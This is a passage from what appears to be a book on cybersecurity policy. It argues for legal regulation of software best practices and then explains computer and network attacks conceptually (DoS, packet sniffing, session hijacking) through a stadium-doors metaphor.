Eventually, best practices software sellers will be the only sellers there are. 
The result is that “buyers demand best practices software” becomes a 
behavioral regularity and, furthermore, a regularity buyers conform to
because think they ought to do so. Indeed, our assumptions are so strong 
that demanding best practices software is a norm but not a coordination
norm: Buyers think they ought to demand best practices software inde­
pendently of other buyers’ behavior. 
Note the minimal role for legal regulation. Given our assumptions, it is
required only to define best practices and then to make the definition pub­
lic. Once the government declares the definition, the market takes over 
and creates the norm. We should not expect this to happen in real mar­
kets. Real software markets fall significantly short of perfect competition. 
Real sellers are (more or less) profit motive driven, but all the remaining 
conditions defining the ideal of a perfectly competitive market are prob­
lematic, with the perfect information condition being especially so. 
Real-World Markets: Lack of Market Power, No Barriers 
to Entry or Exit, and Zero Transaction Costs 
The operating system market has only a handful of sellers. Microsoft has 
significant power to control prices and determine features. It dominates 
with a relatively small market share going to Apple and Linux (and in the 
future possibly to Google’s Chrome operating system). In contrast to the
operating system market, sellers of some software applications and utili­
ties may lack market power, although this is not the case for other applica­
tions, such as Microsoft Office (Word, Excel, and PowerPoint). 
The no barriers to entry/exit assumption is also problematic. In any real
situation, it will always cost something to gear up to develop and produce
a new type of software; however, in the operating systems market, there 
are very significant barriers to entry, as such systems are very costly to 
develop and adoption is uncertain. The no transactions cost assumption is
similarly problematic. In real markets, buyers can never costlessly switch 
from one seller to another and, in particular switching operating systems 
involves very significant costs, and those costs lead to customer lock-in. In
contrast, markets for some software applications and utilities may more
or less closely approximate the conditions of lack of market power, no
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barriers to entry and exit, and zero transactions costs, although, again, 
markets for other applications, such as Microsoft Office, do not. 
Beyond these brief remarks, we will not try to divide the software market
into parts according to the degree to which they approximate lack of market
power, no barriers to entry and exit, and zero transaction costs. It is not
that we think the question unimportant—quite the opposite—but the issue
requires detailed economic analysis in the context of antitrust and intel­
lectual property law, and that task lies outside the scope of our efforts here. 
Five out of Six 
We make the plausible assumption that a significant part of the software 
market sufficiently closely approximates five of the six conditions defining 
a perfectly competitive market: profit-motive driven sellers, lack of market 
power, similar products, no barriers to entry or exit, and zero transac­
tion costs. Here, “sufficiently closely” means close enough for our norm-
creation purposes. We will show how to generate a best practices norm 
in such markets and to ensure ultimately that conformity will occur with
only minimal legal enforcement of adherence to best practices standards.
Where we are not able to achieve this, we may need to rely far more exten­
sively on legal enforcement of the standards. We say “may need” not “will
need” because market-dominating sellers may voluntarily conform to a 
best practices norm. They may self-regulate in this way to avoid coming
under the thumb of explicit legal regulation. 
How then do we generate a best practices norm in sufficiently com­
petitive markets? The critical hurdle to overcome is our very strong perfect
information requirement, especially the requirement that buyers know
whether any given seller offers best practices software. Our norm-genera­
tion process in ideal, perfectly competitive markets depends crucially on
buyers having such knowledge. 
The Perfect Information Barrier 
In the market that currently exists, buyers clearly do not know whether a 
mass-market seller is following best practices for developing software or
even that there are best practices. As a general rule, buyers have no access
to a developer’s design and programming practices; indeed, to a consid­
erable extent, the developer is likely to protect these as a trade secret.* 
* 	 A trade secret is information that is secret (not generally known to the public), is the subject of rea­
sonable efforts to maintain its secrecy, and confers a benefit on its holder in part because it is secret. 
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Access would do little good in any case, as most buyers would be unable
to understand and evaluate the practices. Buyers might be able to detect
failures to follow best practices if they were able to detect vulnerabilities
and other software defects, but, as we noted earlier, their ability to do so 
is quite limited. 
We suggest a disclosure requirement: Require that developers file an
annual, publicly accessible report that details their development and
programming practices. The goal is to ensure that enough buyers know 
whether or not a seller offers best practices software to make offering 
such software the profit-maximizing strategy. Developers may, of course, 
misrepresent their practices, but the expected cost of being penalized for 
doing so should be sufficiently great to ensure the degree of truthful dis­
closure necessary to yield enough knowledgeable buyers. Of course, most 
buyers will lack the technical expertise to understand and evaluate the 
information, but publications like Consumer Reports, consumer watchdog
groups, other competitors, and law enforcement agencies will be able to, 
and they can generate sufficient negative publicity about departures from
best practices to keep enough buyers informed to make offering best prac­
tices software profit maximizing. 
A crucial question is how much detail we should require developers to
disclose about their practices. The less we demand, the less useful the dis­
closure requirement will be in revealing failures to follow best practices.
The more we require, the more developers must reveal information that
might have given them a competitive advantage if kept secret. This is pre­
cisely the type of information that businesses tend to protect as a trade 
secret, and the consensus is that the protection of trade secrets promotes
competition in ways that are beneficial to society as a whole. We will not
try to identify the optimal trade-off here. It should be determined by essen­
tially the same process chosen to define best practices. That also involves a 
complex trade-off task, and the disclosure trade-off raises similar concerns 
about balancing eliminating vulnerabilities against a variety of other goals. 
As interesting and important as these issues are, we put them aside. 
Our goal is to show how to create a best practices norm in a market that
sufficiently closely approximates the conditions defining perfect competi­
tion, including the perfect information requirement. 
NORM CREATION IN REAL MARKETS 
In the case of perfect competition, we promulgated the definition of best 

practices and relied on the market to create the “buyers demand best 
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practices software” regularity. In the case of real markets, we do not rec­
ommend such reliance. We suggest using the law to create the regularity:
Require by law that software developers produce best practices software. 
The point that matters now is that (assuming adequate enforcement) the 
legal requirement ensures that the following behavioral regularity exists: 
Buyers demand best practices software. They “demand” this in our sense 
of willingness to pay. They have no real option to do otherwise. When  
(almost) all developers conform to the statute, best practices software is
(almost) all there is; so to the extent that buyers are not willing to do with­
out the software, buyers are willing to pay for it. This is enough to create 
the following behavioral regularity: Buyers demand best practices soft­
ware. The regularity is not a norm until buyers conform to it because they
think they ought to demand best practices software. 
In the case of perfect competition, we guaranteed that buyers were con­
vinced that they ought to demand best practices software by our perfect 
information requirement: We assumed that buyers realized that best prac­
tices software implemented a value optimal trade-off between reducing 
vulnerabilities and other goals. That alone means that buyers think they
ought to demand such software as long as it is available in the market at
an appropriate price. The other assumptions of perfect competition mean
that when buyers have a preference for best practices software, sellers will
produce and sell it, 
We guarantee that buyers prefer best practices software in real markets 
by using “education” about the advantages of best practices software to
produce the requisite knowledge. We put “education” in quotes because 
techniques for creating the conviction form a spectrum from genuine 
education to manipulation. At the education end, the relevant informa­
tion about the individual and societal gains from more secure software is
presented to buyers, and we rely on rational reflection to create the convic­
tion. As we move toward the manipulation end, presentation of informa­
tion and rational reflection are increasingly supplemented with techniques
designed to produce the conviction more by persuasion than by rational
reflection. Software developers have an incentive to join in these educa­
tional efforts in order to promote strong, stable demand for the software 
they are required to produce. We think it highly likely that such an educa­
tional campaign would succeed. 
The result would be that the “demand best practice software” regularity 
exists because buyers would think they ought to purchase best practices 
software. In fact, the ought is conditional, and we will have a coordination
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norm. Once the norm is in place, unilateral nonconformity will mean
going without software that the buyer wants; consequently, buyers would 
think they ought conditionally to conform instead of going without the 
software. Indeed, even those buyers who forget the “education” that they
received about the benefits of best practices software will think they ought 
to conform. Thus, the conditions for the existence of a coordination norm
would be fulfilled. 
Once the best practices software norm is in place, legal enforcement 
recedes into the background as buyers and software developers voluntarily 
conform to the norm. So, through enforcement of a legal requirement of
best practices, we arrive again at the market conditions we achieved in the 
frictionless world of perfect competition. This time, however, the condi­
tions hold in real-world markets. Achieving this result requires that the
educational effects result in almost all buyers demanding best practices 
software. It is, of course, possible that the effect is merely to divide buy­
ers into two groups—those that demand best practices software and those 
that demand low-cost (vulnerability-ridden) software. If the two groups 
are large enough, sellers may—absent legal enforcement—cater to both, 
and the market would be characterized by two coordination norms. One 
would be the value optimal best practices norm; the other would be the 
suboptimal low-cost software norm. 
Up until now, we have spoken of norms for “the software market.” We
now turn to the question of exactly which markets we mean. Which soft­
ware markets should we regulate in this way? 
What Markets Should We Regulate? 
As of the time of this writing, we can sensibly divide “the” software mar­
ket into at least three markets: the mass market for end-user software (e.g.,
Microsoft Windows and Mac OS X, Microsoft Office, Adobe Photoshop, 
and innumerable games), the market for custom designed software to
meet specific needs, and the mobile (smartphone) app market. We intend
our proposed scheme of legal regulation to apply to the mass market for 
end-user software, but should it also extend to the other two? 
Imposing our regulatory scheme on the custom software market would 
limit the ability of developers to adjust the speed and cost of their develop­
ment process to meet individual needs. This may be undesirable in those 
cases in which a business needs a program as quickly and cheaply as pos­
sible and plans to use it in an environment in which the exploitation of
its vulnerabilities is unlikely. More broadly, custom software in general 
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is less likely to be targeted by hackers because the hackers get much less 
payoff for the effort of learning how to exploit a particular piece of custom
software than for mass-market software, precisely because any given piece 
of mass-market software is on very many computers and custom software 
is on few computers. 
In the case of the mobile app market, sellers range from major software 
developers, such as Zynga and Microsoft, to individuals programming 
apps in their spare time. It is a burgeoning market. Consumers down­
loaded 10.7 billion apps in 2010, and the prediction is that, in 5 years, con­
sumers will download 182 billion a year.7 Vulnerabilities are common, and 
the increasing use of mobile phones for a variety of business transactions 
would appear to make apps an attractive hacker target. As of this writing,
successful attacks exploiting smartphone vulnerabilities are much less
common than attacks on conventional computers, perhaps because hack­
ers haven’t yet figured out how to make money off such attacks to the same
extent that they do for attacks on conventional computers. However, this
lack of attacks on smartphone apps may very well change soon. As secu­
rity software company Symantec put it in a 2011 report that concluded 
that attacks on mobile apps had had only limited impact in calendar 2010, 
“But, that was 2010; 2011 will be a new year.”8 The “new year of 2011” did
indeed see somewhat more attacks on smartphone apps, particularly
against Android phones. 
Mobile apps are an interesting case, because in the future more of the
software market may look like today’s mobile app market than like the 
conventional mass-market software market. Indeed, it is not obvious that
there is any clear distinction in terms of computer science that can be 
made between the game DoodleJump, the quintessential app developed by
two brothers who sold over 3.5 million copies to iPhone users at 99 cents 
a copy,9 and Microsoft Word, other than that Microsoft Word is a much 
larger piece of software with a considerably higher retail price. 
In any event, imposing our proposed regulatory scheme on the mobile
app market would reduce vulnerabilities, but it would also almost cer­
tainly drive smaller developers out of the market. The consequence would 
no doubt be a loss of the richness and innovation characteristic of the 
current app market. What trade-offs should we make? And, who should
decide? One possibility is to use the process chosen for defining best 
practices and disclosure requirements. If you worry that the process you 
choose for those tasks may lack sufficient expertise in the overall structure 
of markets, you may want to allocate this elsewhere, to the Federal Trade 
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Commission, for example. We do expect the traditional mass-market soft­
ware market and the app market to converge in the future, but this leaves 
a difficult problem about where to draw the line between the software 
developers and/or the types of software on which we should impose our 
best practices requirements, and those small developers whom we should
exempt from those requirements. 
Should We Worry about a “Lemons” Market? 
No matter how carefully we design our regulatory scheme, it is extremely 
unlikely that every software developer will comply. Noncompliance will be 
more likely the more latitude the scheme gives developers to adopt prac­
tices not explicitly identified as acceptable by the statute, and the more we
extend regulation into the app market, with its numerous inexperienced 
and underfunded developers who have especially strong incentives to cut 
corners. Should this worry us? It should if we make the plausible assump­
tion that, as a result of our educational efforts, end users value secure soft­
ware more than they do insecure software. We may face a particularly bad
result: a “lemons market.” 
Let us first explain the notion of a lemons market and then consider
whether a lemons market would in fact exist in regard to software vul­
nerabilities even after our proposed regulatory scheme was in place. We
will conclude that there is no danger of a lemons market under our regu­
latory scheme. 
We explain a lemons market using a version of the “used car” example 
first employed by the economist George Akerlof in his seminal article,
“The Market for Lemons” (which won Akerlof a share of the 2001 Nobel 
Prize in economics).10 Suppose a town has 300 used cars for sale: 100 good 
ones worth $3,000, 100 so-so ones worth $2,000, and 100 lemons worth
$1,000. Sellers know the condition of the car that they are selling, but 
buyers cannot tell the difference between a good and bad car, so buying 
a used car means entering a lottery in which the buyer has a one in three 
chance of getting a good car, a one in three chance of getting a so-so car,
and a one in three chance of getting a lemon. The expected value of the 
purchase is $2,000. Rational buyers therefore will pay only $2,000 for a
used car; consequently, sellers who value their good cars at over $2,000
do not offer those cars for sale. Thus, the market now contains lemons 
worth $1,000 and so-so cars worth $2,000. The expected value of a used 
car drops to $1,500; consequently, sellers who value their cars above
$1,500 do not offer them for sale. The process continues until only the 
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lemons are left on the market. In general, a lemons market exists when 
four conditions are fulfilled: 
1. The products on the market have significantly different properties
(the properties that make a car good instead of a lemon, for example), 
and buyers and sellers both regard products having certain of these 
properties as being worth more. 
2. There is an asymmetry of information where buyers cannot discrim­
inate between products with and without the relevant properties, but 
sellers can at least partially distinguish them. 
3. Buyers know that there may be a mix of products on the market. 
4. There is no reliable signal of quality (e.g., sellers with an excellent car
have no way to disclose this fact reliably to buyers). 
Computer security expert Bruce Schneier has argued convincingly that
the market for security software and systems, such as firewalls, anti-virus
software, or secure USB memory sticks, meets all four of these conditions 
for a lemons market, with the property of course being that the product 
in fact provides high-quality security.11 The market for security soft­
ware and systems may very well be a lemons market. We, however, are 
not concerned with security software, but rather with secure software. So
we want to know whether those four conditions are fulfilled for ordinary
mass-market software, with the desirable property being freedom from
vulnerabilities. 
If the conditions for a lemons market are fulfilled, then the market we
have created through our regulatory efforts at norm creation might col­
lapse. Insecure software would drive out secure—and best practices com­
pliant—software. To maintain profits, developers would increasingly shirk 
statutory requirements, and no statutory scheme can survive massive 
noncompliance (consider the history of the 55 mile an hour speed limit). 
So, would a lemons market be likely under our proposed regulatory 
scheme? No. Three of the four conditions would hold. We are assuming 
that buyers value secure software more than insecure software, and there
might still be a mix of insecure and secure software for sale, so condition 
1 would hold. The key condition, asymmetry of information about qual­
ity between buyers and sellers (condition 2), holds today and would con­
tinue to hold under our proposed scheme. Condition 3, requiring buyers 
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to know that there is a mix of quality in the market, also holds. There has 
been enough press about software vulnerabilities in recent years that pre­
sumably many buyers know about the issue. 
Condition 4, which is complete lack of signals of quality, clearly would
not hold, however. The educational efforts that are part of the proposed
regulatory scheme will be a reliable enough signal of vulnerabilities to
ensure that enough buyers know whether or not a seller offers best prac­
tices software that the profit-maximizing strategy is to offer such software. 
There will be enough buyers to impose a monetary loss on sellers who  
violate the best practice norm. Thus, bad (insecure) software will not drive 
out good (secure) software; good will drive out bad. 
UNAUTHORIZED ACCESS: BEYOND 
SOFTWARE VULNERABILITIES 
Software vulnerabilities are one aspect of the problem of unauthorized 
access; malware—malicious software that invades computers—is another.
We turn to the problem of malware in Chapters 9 and 10. To install mal­
ware, hackers need to get into our computers and networks. Software vul­
nerabilities are only one way in—a very important way, but still only one
way. There are several others. We review attacks and defenses generally in
the next chapter. 
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Intellectual Property and Antitrust Law. New York: Oxford University Press. 
(Offers a readable survey of the interaction between intellectual property 
and antitrust law in regulating software markets, with particular emphasis 












Attack and Defense 
INTRODUCTION
 
Imagine that you are responsible for controlling access to Chicago’s United 
Center during a Chicago Bulls–Los Angeles Lakers game. The United 
Center has multiple entrances; you lock some of them, but you can’t lock 
them all. The fans, teams, concessionaires, and press all need to get in and 
out. You post guards at the open doors to check credentials—tickets, press 
passes, and so on—but you know that some unauthorized people may still
slip by. So you tell the credential-checking guards to be on the lookout for 
suspicious behavior, and you hire some other guards whose primary task 
is to monitor for and investigate such behavior. 
Controlling access to a computer or to a computer network is similar.
We lock doors, but, just as with the United Center, we cannot lock them
all. We need to allow access when we visit websites, update programs, send
and receive e-mail, and run certain programs. Since we cannot lock all the 
doors, we post credential-checking guards at the open doors (password 
requirements are an example), and since locks may fail and fake creden­
tials may fool the guards, we also use behavior-monitoring guards (for
example, programs that monitor for the behavior characteristic of a virus). 
The “we” in the preceding paragraph consists of those end users who 
more or less control their own computers: home end users and many small 
business and university end users. End users—not Internet service pro­
viders (ISPs), the Internet backbone owners, or the government—decide 
which doors to lock and how many guards of what type to use. We argue
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in Chapters 9 and 10 that this should change. We contend that “end users
decide how to defend” is a demand-unifying coordination norm, and that
the norm is not value optimal. The better justified alternative is for ISPs to
take over much (although perhaps not all) of the defensive burden. Before
we address these claims, we must outline the basics of computer and 
network security, which we will do by developing the doors and guards
metaphor. The background is essential not only for the issues addressed 
in Chapters 9 and 10 but also for a critical question we raise at the end of
Chapter 10 about how many norms we need to create. We start with doors. 
If you had just been hired to provide security at the United Center, one 
of the first things you would want to know is how many doors of each type 
there are, and then you would decide which ones to lock and which to
leave open. Our approach is the same. We need to know how many doors 
and what types of doors computers and networks have, and then we need 
to see how we can lock them if we want to. 
TYPES OF DOORS 
“Doors” is our metaphor for access points to a network, to a computer or
to specific resources of a computer. Think of the United Center as a single
computer. Additionally, imagine that the United Center is located inside a 
gated community of other buildings, so that before you can reach the doors 
into the United Center, you must first gain entrance to its gated community.
The gated community corresponds to the computer’s local network, such as
the home wireless network where the computer is located. The analogy is
not quite perfect. If it were, we could say that to get into a computer, you 
must always first gain entrance to its gated community (its network). But 
with computers there is another way in: physical control over the computer 
itself. To fit this into our United Center analogy, imagine you are inside the 
United Center’s gated community. That makes you able to go all the way up
to the doors of the United Center itself. Similarly, you can go all the way up
to the doors into a computer whenever you either have physical control of
the computer or are on the computer’s local network. Either one of those is
the equivalent of being inside the gated community. 
We have three categories of doors. First are the outermost doors: doors 
into the network or the ability to take physical control of the computer. 
These are, as we were just discussing, equivalent to the doors—or gates— 
into the gated community, and we will often refer to these as gates. Second, 
there are doors into the computer itself, which are the equivalent of the 
doors into the United Center building. Finally, there are doors into areas 











Computers and Networks: Attack and Defense  ◾ 183
inside the computer that give access to the computer’s valuable hardware
and software resources. They are equivalent to doors inside of the United 
Center into areas containing valuable resources, such as players’ jerseys, 
beer, hot dogs, or cash. 
We begin with the outermost doors: the gates into the neighborhood. 
Gates (Outermost Doors) 
Start with physical control of the computer. That gives you access to the 
computer’s input–output devices (e.g., keyboard, screen, and CD/DVD
reader–writer) and to its hardware ports (also referred to as physical
ports). Any desktop or laptop owner is familiar with hardware ports. They 
are the USB slots, wired network connection points, and so on. Servers,
routers, firewalls, and the like also have a number of hardware ports for 
connecting the cables that link the devices to a network. The input–output
devices and the hardware ports are the analog of the doors to the United 
Center itself. 
We will not discuss physical security in any detail—not because it is  
unimportant (see the comic in Figure 8.1), but rather because the ways to
secure physical items have been thoroughly studied and are well under­
stood. Be aware, however, that even if you retain physical control of your
laptop, you may in practice still be letting people through the gates to the 
computer’s neighborhood and then through the doors of the computer 
itself—for instance, by inserting a USB memory stick that contains attack 
software into the laptop’s USB slot. A recent successful attack shows how 
a creative attacker can exploit this route in. This particular attack was car­
ried out by the security company Netragard in June 2011,1 on behalf of a
client running a highly secure computer operation who asked Netragard to
FIGURE 8.1 Webcomic Freefall (number 2235) on the significance of physi­
cal security. (Republished from the webcomic with permission of the author, 
Mark Stanley.) 
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test its security by trying to break into its computers. Netragard modified
a USB mouse to contain malware, packaged that mouse to look like a 
promotional gadget, and sent it to one of the client’s employees together 
with fake marketing literature. Sure enough, the employee plugged in
the mouse, and the company’s machine wound up infected. This is an
instance of a common pattern: The owner of the computer unwittingly 
invites malefactors to come in through the doors. 
The other way to go through a gate and then reach the computer’s doors 
is via a network. The local area network (LAN) of the computer is like the 
neighborhood of the United Center. Unlike the United Center’s neigh­
borhood in Chicago, a computer is a gated community with a single gate, 
which can have a guard (a network firewall). For the typical home or small 
business user, this gate will consist of wiring from the outside (usually from
the phone or cable company) connected to a DSL or cable modem, which 
is in turn connected to some sort of router. Today, such a router (common
brands include Netgear, Linksys, D-Link, and Apple) typically has some
hardware ports for making wired connections to a small number of com­
puters or printers and also distributes a wireless signal. On the far side of
the router, one is through the gate and inside the local network. Typically,
in a home or small business setup, once past this gate, anybody can go
straight up to a computer’s entrance, with no doors or guards in between. 
Now let’s move on to doors into the computer itself. 
Doors into Our Computers 
Once you get on a computer’s network, what are the ways into the com­
puter itself? Network traffic enters a computer either via a wire connected 
to a hardware port or via wireless. At any given time, the computer will
recognize only one of wired or wireless network traffic, so there is only one 
stream of network traffic. The entrance for this traffic can be guarded by
an individual computer firewall implemented in software. 
Immediately after passing through that entrance, the traffic heads to
the appropriate network ports (also referred to as virtual ports) or, in
more technical terms, the TCP (transmission control protocol) or UDP 
(user datagram protocol) ports. Network ports are used to solve the prob­
lem that different network applications need to communicate through the
computer’s one active network connection (wired or wireless) to many dif­
ferent computer applications. The solution is to have the different network
applications label the data they send; networking software on the com­
puter reads the labels and sends the data where it should go. Those labels
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are network ports. The network ports have numbers for names; port 80, 
for example, is the network port on which a web server typically receives
data sent to websites. There are a lot of network ports: the numbers run 
from 0 to 65,535. Network communications, however, typically use only 
the ports with numbers less than 1024. (Just to make this subject more
confusing, the term “network port” is also used to mean the hardware
port into which the wire for a wired network connection is inserted.) 
So far our list of doors includes the computer’s LAN, physical access to
the computer (both of which are doors into the gated community), hard­
ware ports, input devices, and our main focus, network input (doors into
the United Center itself). You can think of all of these as doors that (for
the most part) we intended to create. We need doors after all. How else are 
people to get into the United Center to watch the Bulls play basketball? 
Unintended Doors 
Computers and networks also typically contain a lot of doors we did not
intend to create. These doors are vulnerabilities, either hardware or soft­
ware vulnerabilities. The definition of a vulnerability is the same in each 
case: a property an attacker can exploit to gain unauthorized access— 
hence, “doors” in our metaphor.* Most of the unintended doors are doors 
to spaces that ought to be sealed against everybody except a very few  
people with special access. In the case of the United Center, these doors
inadvertently give access to such things as the money from selling tickets,
hotdogs, and beer, as well as the actual tickets, hotdogs, and beer, not to
mention the players’ uniforms and the basketballs. In the case of comput­
ers, the access is to specific files and specific applications. 
It is particularly difficult to avoid vulnerabilities in networks. In a large
organization, both the router and internal structure of the network may 
be much more complex than a home user’s LAN. The more complex the 
network is, the more likely it is that a network administrator will make a 
misjudgment that creates a vulnerability. Furthermore, even for an excel­
lent network administrator, it can be extraordinarily difficult to predict 
what software will do when it is embedded in a complex network. Software 
that seems secure when tested in a stand-alone environment may contain 
* 	 This is a generalization of a software vulnerability. In the last two chapters, we focused on vulner­
abilities created in the mass-market software development process, and our examples of software 
were operating systems and application programs like Word and Dreamweaver. Vulnerabilities 
may also be introduced when setting up websites and networks, and we now include them when
we talk of software vulnerabilities. 
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or create vulnerabilities in the environment in which it is actually used. 
In addition, as a recent scholarly paper put it, hackers “are well aware of
network…security mechanisms, and are developing increasingly sophis­
ticated and effective methods for subverting them.”2 Thus, in a complex
network, it is common to find at least a few vulnerabilities. 
As we noted in the last chapter, we can reduce vulnerabilities by adopt­
ing best practices, but we cannot entirely eliminate vulnerabilities. Also, 
in general, the owner of a computer does not and cannot know whether
any given piece of software has vulnerabilities. 
Zero-Day Attacks 
Sometimes the maker of a piece of software discovers a vulnerability (or 
is told about a vulnerability by a security researcher or customer) and 
sends out a patch to the software. When we receive notification about the 
patch, we suddenly discover the existence of a particular unlocked inner 
door in a place we didn’t intend to have a door at all. When we install  
the patch, we lock the door (unless the patch itself contains a vulnerabil­
ity). Occasionally, however, hackers discover a vulnerability before anyone
else does, and then they can attack before the software vendor has any 
chance to develop and distribute a patch. These attacks are called zero-day
attacks (and the corresponding vulnerabilities are called zero-day vulner­
abilities); the idea behind the name is that they occur on the “zeroth” day 
of awareness of the vulnerability. 
Why count days of awareness of a vulnerability? The answer is that  
there is often a significant gap between the time a vulnerability first 
becomes known to the software vendor and the time a patch is installed 
on any given computer. There are two reasons for this delay: First, the 
software vendor may take a long time to release a patch (or may not release 
a patch at all) and, second, once a patch is released, users may take a long 
time to (or may never) install it. Delays in the creation and installation
of patches are a huge problem. While zero-day attacks do indeed occur,
most common attacks are not zero-day attacks. Indeed, a zero-day attack
is considered a sophisticated attack, and some sources claim that certain 
zero-day vulnerabilities that have never been exploited have been sold for
sums exceeding $100,000 on hacker black markets.3 
The CIA Triad 
Once they have found a way in, what types of attacks do hackers launch 
against us? We begin our answer using the traditional division of computer 
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security into confidentiality, integrity, and availability. The combination is
sometimes referred to as CIA, or as the CIA triad. Confidentiality con­
sists of keeping information away from those not authorized to possess
it. We expect confidentiality for our telephone conversations and for our 
financial and medical records. Integrity consists of preventing informa­
tion from being altered by those not authorized to alter it. We need integ­
rity for the checks we write. Availability consists of making computer
systems available to authorized users. It’s easy to maintain the confidenti­
ality and integrity of information if we don’t have to worry about availabil­
ity. Simply put the information on one computer and permanently turn off 
that computer, or put it in a bank vault and leave it there. 
The CIA triad is a helpful way to think about computer security. Thus,
unauthorized access may compromise online information by reducing or
eliminating its availability (authorized access is impaired), integrity (the
information is corrupted and untrustworthy), or confidentiality (privacy
is compromised). The triad has its limits, however, as a system for classify­
ing attacks because so many attacks affect two or all three elements. Also, 
the CIA triad covers information and does not fully describe identity. 
For our purposes, we need to add attacks on authentication as an addi­
tional category. Authentication is the process of making sure that you  
are who you claim to be—for example, by the use of passwords. Defeating 
authentication online is akin to forging an employee ID, or a ticket in our 
United Center example, and is typically an attack on both confidentiality
and integrity. The attacker who successfully impersonates you often wants 
both to read your secret information and to alter some of your files, such as
system logs that might reveal the impersonation. In general, we frequently
cannot separate attacks on integrity alone from attacks on confidentiality
plus integrity, as the goal of many types of attacks is both to steal your
personal information (attacking confidentiality) and to alter the software 
on your computer (attacking integrity) to be able to avoid detection and to
carry out further attacks. 
ATTACKS ON AVAILABILITY 
In terms of our doors metaphor, attacks on availability are carried
out by sending a huge mob of people to stand right in the doorway, so
regular fans cannot pass through. The classic example of an attack on 
availability is the denial-of-service (DoS) attack. The usual target is a
high-profile company or a government. The attack consists of sending
an extremely large volume of network traffic to one of the doors, such as
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Types of attacks 
Availability Confidentiality Authentication Integrity 
DoS DDoS 
FIGURE 8.2 An overview of different types of attacks. 
the entrance to the LAN, or to the entrance to the particular computer
that is supposed to serve web pages for the organization. Very often,
the attack will be specifically a distributed denial-of-service (DDoS)
attack, where these requests all appear to come from different sources.
Why distributed? Imagine running amazon.com’s website. If you sud­
denly got a million requests in 1 minute, all from the same source, it
would be easy to figure out that those requests were some sort of denial­
of-service attack and to stop accepting requests from that source. If
you instead got an extra million requests from all over North America,
you would have a much harder time figuring out what was going on. It
would be very difficult to distinguish the attack traffic from legitimate
consumer traffic that you want to let in. You might think that the solu­
tion would be hiring the right sort of guards, but for a denial-of-service
attack, guards don’t help much. The type of guard that is most relevant
is a firewall, but in a denial-of-service attack (either distributed or not)
firewall guards are so busy checking credentials that they never have
time to let people in. 
In Figure 8.2, we locate denial-of-service and distributed denial-of-ser­
vice attacks in the beginning of a high-level overview that we will develop
as we go along. We do not intend this typology of attacks to be compre­
hensive, but it does describe a majority of the kinds of attacks that are 
prevalent as of the time of this writing. 
A good example of a distributed-denial-of-service attack was the 
December 2010 Operation Payback, organized by the activist group 
Anonymous, against Visa, MasterCard, PayPal, and several other compa­
nies that refused to do business with Wikileaks after it published classified
US diplomatic cables. A large number of people voluntarily downloaded 
a program that accessed the websites of the various companies that had 
turned their backs on Wikileaks.4 The resulting distributed denial-of-ser­
vice attack caused considerable disruption, forcing a number of compa­
nies’ websites offline. 
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Computer users’ participation in denial-of-service attacks need not
be voluntary. Hackers can surreptitiously install attack software on very
large groups of computers. Such networks of compromised computers are
known as botnets, and we will discuss them in some detail in the next  
chapter. Large organizations are the most common targets of denial-of­
service attacks, and many of these attacks are launched by criminals. They 
have targeted various antispam and antimalware organizations, as well as
carried out old-fashioned blackmail. (“Nice web operation you got there. 
It would be a shame if anything happened to it.”) 
There have also been quite a number of politically motivated denial-of­
service attacks, such as the one by Anonymous we just described. Another 
was the massive attack on all of Estonia’s government websites in 2007. The
government of Estonia relocated a controversial statue of a Russian soldier 
from the center of Tallinn, Estonia’s capital, to the suburbs, which infuri­
ated Estonia’s substantial ethnic Russian minority as well as most of the 
population of Russia. Very shortly thereafter, Estonia experienced massive 
cyberattacks, especially distributed denial-of-service attacks. Estonia is
one of the world’s leaders in integrating use of the Internet into daily life 
(even certain meetings of its Parliament were online), so the cyberattack 
was devastating. To this day nobody knows for sure exactly who carried out 
the attack, although it was likely either the Russian government or Russian
activists. One particular group of Russian activists has claimed credit.5 
We conclude our discussion of attacks on availability with a brief con­
sideration of spam. One could imagine an all-out attack on availability via 
spam: Send so much e-mail to a computer that it completely overwhelms 
that computer. In practice, however, such spam attacks do not occur;
instead, spam constitutes a low-grade attack on availability for the major 
e-mail providers, such as Google, Microsoft, and Yahoo!. As spam is now 
well over half of all e-mail, all those companies have to spend more on
extra storage and processing power to handle the spam. Thus, spam today 
has a real cost in dollars to the major e-mail service providers. 
ATTACKING CONFIDENTIALITY: HANGING 
OUT IN THE NEIGHBORHOOD 
Now let’s turn to two attacks on confidentiality—packet sniffing and ses­
sion hijacking. Remember our analogy: All the computers on the same
LAN are in the same neighborhood. One can often overhear conversa­
tions within the boundaries of a neighborhood. In Figure 8.3 we add these 
attacks to our diagram. 
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FIGURE 8.3 Overview of attacks with confidentiality attacks added. 
Packet Sniffing 
When a computer is sending network traffic within its LAN, it is usually
easy for other computers on the same LAN to read that traffic. Wireless net­
works are today’s most important example. Any two computers on the same
wireless network—including a public wireless network at your local library
or coffee shop—are on the same LAN, so they may be able to read what each
other sends. To prevent this, some wireless networks require people to sign
on and then encrypt all the traffic that they send, but some do not. 
Any open wireless network (open in the sense that you do not have
to give a user name and password to connect) is not encrypted,* so it is  
possible for one computer at the coffee shop to see the packets another 
computer is sending and receiving. When you are on the network, your
computer is supposed to listen only to the IP packets that are for you, but
you do not have to ignore all the other IP packets as they go by. Listening 
in on another computer’s IP packets is known as packet sniffing. A packet 
sniffer is software that reads IP packets even if they are not designated for 
the computer running the software. 
Encryption is a defense against packet sniffing. To prevent sniffing of
your username and password when you log in to a website, the site encrypts
the conversation in which it collects that information. This means using 
the HTTPS web protocol, which is encrypted, rather than the ordinary
HTTP protocol. 
As of October 2010, many major websites, such as Facebook and Twitter,
were indeed in the habit of using the HTTPS protocol to log you in and then 
switching to the HTTP protocol for the rest of your session. These websites
switched from HTTPS to HTTP after login instead of simply using HTTPS 
for all communication because HTTPS’s encryption requires modestly 
* 	 There is no reason that password protecting a wireless network and encrypting that wireless net­
work have to go together, but this has become the standard practice. 
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more computing resources than the HTTP protocol. So if Facebook used 
HTTPS for the entire conversation between your computer and Facebook,
then Facebook would have needed to pay for modestly more computing 
power. Also, some Facebook users with particularly old, weak computers 
might have found Facebook to be slightly slow because those users would 
have had to wait an extra half second for their own computer to do the 
extra work required by HTTPS with each back and forth. 
Session Hijacking 
It turns out, however, that securing only the initial logon is not enough to
protect against eavesdropping on an open wireless network. To see why,
suppose you have logged into Facebook as Joe Smith. We need to explain 
how Facebook’s website knows that you are Joe Smith for the rest of your
conversation. The answer is the web cookies we discussed in Chapter 5.
After you sign in, Facebook sends you a special web cookie, called a ses­
sion cookie, which you will use in every transmission you make for the 
rest of that particular conversation with Facebook. If the rest of that con­
